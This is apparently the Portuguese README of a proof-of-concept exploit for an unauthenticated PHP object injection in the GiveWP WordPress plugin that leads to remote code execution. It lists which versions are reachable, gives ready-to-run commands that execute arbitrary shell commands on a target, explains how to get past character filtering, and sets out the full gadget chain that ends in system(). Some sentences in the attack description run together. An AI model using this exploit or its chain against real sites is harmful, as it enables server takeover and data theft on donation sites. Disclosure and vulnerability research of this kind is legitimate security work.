
Prova de conceito de exploit para CVE-2026-82222, uma injeção de objeto PHP não autenticada que leva à execução remota de código no plugin GiveWP para WordPress em versões até 4.16.7.1.
| Faixa | Atingível? |
|---|
<= 4.16.5.1 | Instalação padrão. Um formulário publicado, um gateway ativo. |
4.16.6 a 4.16.7.1 | Sim, se existir um formulário legado (não-V3). Instalação nova apenas com V3 não é. |
Python 3.8+ e requests.
pip install requests
python cve-2026-82222.py http://127.0.0.1:8080
python cve-2026-82222.py http://127.0.0.1:8080 --check
python cve-2026-82222.py http://127.0.0.1:8080 42 -c id
python cve-2026-82222.py http://127.0.0.1:8080 -g offline
-c tem como padrão id. Sem < > & % no comando; espaços viram ${IFS}.
Informe um ID de formulário se a descoberta falhar. Informe -g se o script não conseguir encontrar um gateway habilitado.
A solicitação de doação frequentemente retorna HTTP 500 ou expira. Isso é esperado. A gravação da sessão acontece primeiro. A saída de system() está na próxima solicitação (/?give_action=view_receipt e similares), não em um arquivo no disco.
python cve-2026-82222.py -h para o restante.
POST give_action=user_register. O GiveWP cria a conta e define um cookie de autenticação. Ele não consulta users_can_register.last_name através de /wp-admin/profile.php.give_last. process-donation.php lê o nome de usermeta, executa maybeSafeUnserialize (allowed_classes => false) e grava __PHP_Incomplete_Class em wp_give_sessions. O PHP reemite os bytes originais do objeto no caminho de entrada.TCPDF::__destruct() alcança call_user_func_array('system', [cmd]). A saída padrão está nessa resposta.TCPDF.__destruct()
-> Symfony Session.getIterator()
-> Give\TestData ProviderForwarder.__call()
-> call_user_func_array('system', [cmd])
pre_user_last_name remove NUL, então as propriedades do gadget não são corrompidas. As barras invertidas são quadruplicadas para sobreviver a stripslashes_deep e depois removeBackslashes.
MIT. Consulte LICENSE.